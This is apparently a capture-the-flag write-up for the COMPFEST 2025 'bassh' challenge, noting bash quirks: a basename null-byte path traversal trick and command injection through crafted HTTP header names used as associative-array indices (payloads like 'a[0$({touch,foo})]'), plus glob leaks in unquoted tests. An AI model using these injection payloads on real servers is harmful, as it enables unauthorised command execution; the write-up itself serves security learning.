Command substitution ignore null byte in input, make us can do path traversal using -z options in basename

Event Name COMPFEST 2025 Quals
GitHub URL -
Challenge Name bassh

┌──(dimas㉿Dimas)-[~/documents/writeup/compfest]
└─$ ls $(basename -s .py -z .. / .. / .. / .. / .. / .. /)
bash: warning: command substitution: ignored null byte in input
bin   home            lib         media  root       srv  var          wslCmgFoP  wsljiHdFL  wslmieAAa
boot  init            lib32       mnt    run        sys  vmlinuz      wslEdiBAa  wslJmlgFL
dev   initrd.img      lib64       opt    sbin       tmp  vmlinuz.old  wslFbCppP  wsljNLgEL
etc   initrd.img.old  lost+found  proc   SessionDB  usr  wslAEPkoP    wslhmFbFL  wslLICEDL

there’s some strange behaviour in bash version 5.0.3(1)-release (in version 5.2.26 doesn’t work) where array such as this will execute header_name

header_name='x[$(whoami)]'

testing[$header_name]="x"

this is vulnerable too from kalmarctf 2024

if [[ -v request_headers[$header_name] ]]; then

this works too in latest version

header='a[0$(uname>&2)]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
    echo "Invalid Content-Length"
fi

but it can’t be trigger if we declare the array before

set -e

declare -A request_headers

header='a[0$({touch,foo})]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
    echo "Invalid Content-Length"
fi

Note that arithmetic evaluation can be done by $((...)) (aka $[...] in bash or zsh) but also depending on the shell in the let, [/test, declare/typeset/export..., return, break, continue, exit, printf, print builtins, array indices, ((..)) and [[...]] constructs to name a few).

https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation

rce

set -e

declare -A request_headers

header='a[0$({touch,foo})]:'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [ -v request_headers[$header_name] ]; then
    echo "Invalid Content-Length"
fi

Glob

in if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi can leak file location/hidden path

https://ireland.re/posts/KalmarCTF_2024/#webbadass-server-for-hypertext